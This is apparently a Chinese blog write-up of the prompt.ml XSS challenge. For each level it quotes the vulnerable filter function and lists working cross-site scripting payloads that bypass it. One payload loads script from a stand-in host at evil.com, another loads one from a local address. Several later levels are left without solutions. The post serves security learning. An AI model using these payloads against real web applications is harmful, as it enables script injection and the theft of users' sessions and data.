前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Prompt 1 to win

Prompt 1 to win

作者头像
wywwzjj
发布2023-05-09 14:21:16
1.1K0
发布2023-05-09 14:21:16
举报

平台地址:http://prompt.ml/

0. 轻松的开始

代码语言:javascript
复制
function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}

payload

代码语言:javascript
复制
">';<script>prompt(1)</script>>
"><svg/onload=prompt(1)>
"><img src="x" onerror=prompt(1)>

"onresize=prompt(1)>

1. 过滤 </

代码语言:javascript
复制
function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}

/<\/?[^>]+>/gi 限定了 gi 意味着大小写和双写是绕不过的

(或许可以参考 PHP利用PCRE回溯次数限制绕过某些安全限制 思路,但是没多大意义)

payload

代码语言:javascript
复制
<svg/onload=prompt(1)  // (1) 后有空格

2. 过滤 =(

代码语言:javascript
复制
function escape(input) {
    //v-- frowny face
    input = input.replace(/[=(]/g, '');
    // ok seriously, disallows equal signs and open parenthesis
    return input;
}

payload

代码语言:javascript
复制
( 用 html 实体编码绕过
// Firefox
<svg><script>prompt&#x28;1)<b>
// Chrome
<svg><script>prompt&#40;1)</script>
// ES6
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}`</script>

3. 注释符

代码语言:javascript
复制
function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}

payload

代码语言:javascript
复制
--> 和 --!> 都能闭合注释
--!><svg/onload=prompt(1)

4. 假同域

代码语言:javascript
复制
function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i
        .test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

分析

代码语言:javascript
复制
// sample script: http://prompt.ml/js/test.js

看上去只能引用同域下的 js,但这里有个 decodeURIComponent 进行解码,很容易编码绕过。

%2f/ 的 URL 编码形式,浏览器将识别为普通的字符,再利用下 @,这种技巧 SSRF 当中经常遇到。

payload

代码语言:javascript
复制
//prompt.ml%2f@evil.com/xss.js

一直不弹窗,打开 F12,发现了下面这个,原来是被 Chrome 拦截了 Provisional headers are shown

5. 未多行匹配

代码语言:javascript
复制
function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}

分析

没未启多行匹配,换行即可绕过一些限制,这一点很管用。

payload

代码语言:javascript
复制
type=image	定义图像形式的提交按钮。
"type=image src onerror
="prompt(1)

6. form 属性

代码语言:javascript
复制
function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}

payload

代码语言:javascript
复制
javascript:prompt(1)#{"action":1}
vbscript:prompt(1)#{"action":1}

后面的 action 覆盖了,可以过正则,但我的疑问是覆盖掉了,前面的 action 值不会变吗
看输出的HTML,<form action='' 这里直接是第一个值,验证的时候是document.forms[0].action,
应该是这里的问题,再好好想想

7. 长度限制

代码语言:javascript
复制
function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}

payload

代码语言:javascript
复制
我的第一想法是,存起来,然后在拼一下,然而不太现实
”><svg/onload'/*#*/=prompt(1) 直接这样的话长度会超了
这个操作太强了
"><svg/a=#"onload='/*#*/prompt(1)'
<p class="comment" title=""><svg/a="></p><p class="comment" title=""
onload='/*"></p><p class="comment" title="*/prompt(1)'"></p>

单引号没必要吧,"><svg/a=#"onload=/*#*/prompt(1)


"><script x=#"async=#"src="//⒛₨

<p class="comment" title=""><script x="></p>
<p class="comment" title=""async="></p>
<p class="comment" title=""src="//⒛₨"></p>

Background Info
The async attribute allows to utilize un-closed script elements. So this works in MSIE - a very useful trick: <script src="test.js" async>

8. 换行符

代码语言:javascript
复制
function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}

payload

代码语言:javascript
复制
补充知识
Javascript 中 valid line separators 除了\r \n,还有:
\u2028 (Line Separator)
\u2029 (Paragraph Separator)
--> 在js中可以当作注释符(单行注释)

[\U2028]prompt(1)[\u2028]-->
一直不弹窗,字符打不出来?

9. 特殊字符献奇招

代码语言:javascript
复制
function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>' + input + '</h1>';
}

payload

代码语言:javascript
复制
code-breaking 中 easy-nodechr 类似,形近字绕过
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
混入了两个奇特的字符"ı"、"ſ"。
这两个字符的“大写”是I和S。也就是说
"ı".toUpperCase() == 'I',
"ſ".toUpperCase() == 'S'。
通过这个小特性可以绕过一些限制。

<ſvg/onload=prompt(1)
此路不通,prompt 大写失效

unicode码包含了许多国家的语言文字,有一些语言的字母调用Upper函数进行大写,由于没有对应的大写文字,会自动转换为英文字母,而在url中,协议和域名是不区分大小写
<ſvg><ſcript/href=//127.0.0.1/xss.js>
<ſcript/ſrc=//127.0.0.1/xss.js></ſcript>

10. 多次过滤帮倒忙

代码语言:javascript
复制
function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');
    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}

payload

代码语言:javascript
复制
前后呼应
p'rompt(1)

11.

代码语言:javascript
复制
function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}

payload

代码语言:javascript
复制
小 trick
"string"(prompt(1)) 将正常执行
"(prompt(1))in"
这里的 in 还可以用 instanceof 替代

Same story with alert(1)in"test":
TypeError: Cannot use 'in' operator to search for 'undefined' in test

12

代码语言:javascript
复制
function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
}

payload

代码语言:javascript
复制
encodeURIComponent() 不会对 ASCII 字母和数字进行编码,
也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。
尝试使用 String.fromCharCode(112, 114, 111, 109, 112, 116),但是 , 被编码

.() 不会被编码,所以可以利用 toString() 构造
toString(radix) 中 radix 为 2-36 可以选36使其作为一个进制,将字符包含起来
使用parseInt(str, radix) 将字符转为数字之后使用(number).toString(radix) 然后用eval进行调用 
注意number有括号,(number).toString(radix) 可简写为 (numbrer..toString(radix) ,字符之间用concat()连接
parseInt('prompt', 36) //1558153217
eval((1558153217).toString(36))(1)

还可以
eval(1558153217..toString(36))(1)

甚至可以直接暴力循环着self里的函数,找到prompt:
for((i)in(self))eval(i)(1)

13

代码语言:javascript
复制
 function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}

payload

代码语言:javascript
复制

14

代码语言:javascript
复制
function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');

    return '<img src="' + input + '">';
}

payload

代码语言:javascript
复制

15

代码语言:javascript
复制
function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
}

payload

代码语言:javascript
复制
与第 7 关类似,但是 /* 被过滤
那这里就可以用 HTML 的注释符
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

源码将变成:
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>

-1

代码语言:javascript
复制
function escape(input) {
    // WORLD -1
    // strip off certain characters from breaking conditional statement
    input = input.replace(/[}<]/g, '');

    return '                                                     \n\
<script>                                                         \n\
    if (history.length > 1337) {                                 \n\
        // you can inject any code here                          \n\
        // as long as it will be executed                        \n\
        {{injection}}                                            \n\
    }                                                            \n\
</script>                                                        \n\
    '.replace('{{injection}}', input);
}

-2

代码语言:javascript
复制
function escape(input) {
    // Christmas special edition!
    // Ho ho ho these characters are in Santa's naughty list
    input = input.replace(/[!=*`]/g, '');
    // pass in your wishes like pets#toys#half-life3...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // Don't be greedy! Each present can only contain 20 characters
        return '<p class="present" title="' + title.slice(0, 20) + '"></p>';
    }).join('\n');
}

-3

代码语言:javascript
复制
function escape(input) {
    // I iz fabulous cat
    // cat hatez dem charz
    var query = input.replace(/[&#>]/g, '');
    var script = document.createElement('script');
    // find me on Twttr
    script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';
    return '<input name="query" type="hidden" value="' + query + '">' +
        script.outerHTML;
}

-4

代码语言:javascript
复制
function escape(input) {
    // You know the rules and so do I
    input = input.replace(/"/g, '');

    return '<body onload="think.out.of.the.box(' + input + ')">';
}

分析

被过滤了,

payload

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019/02/01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0. 轻松的开始
  • 1. 过滤 </
  • 2. 过滤 =(
  • 3. 注释符
  • 4. 假同域
  • 5. 未多行匹配
  • 6. form 属性
  • 7. 长度限制
  • 8. 换行符
  • 9. 特殊字符献奇招
  • 10. 多次过滤帮倒忙
  • 11.
  • 12
  • 13
  • 14
  • 15
  • -1
  • -2
  • -3
  • -4
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档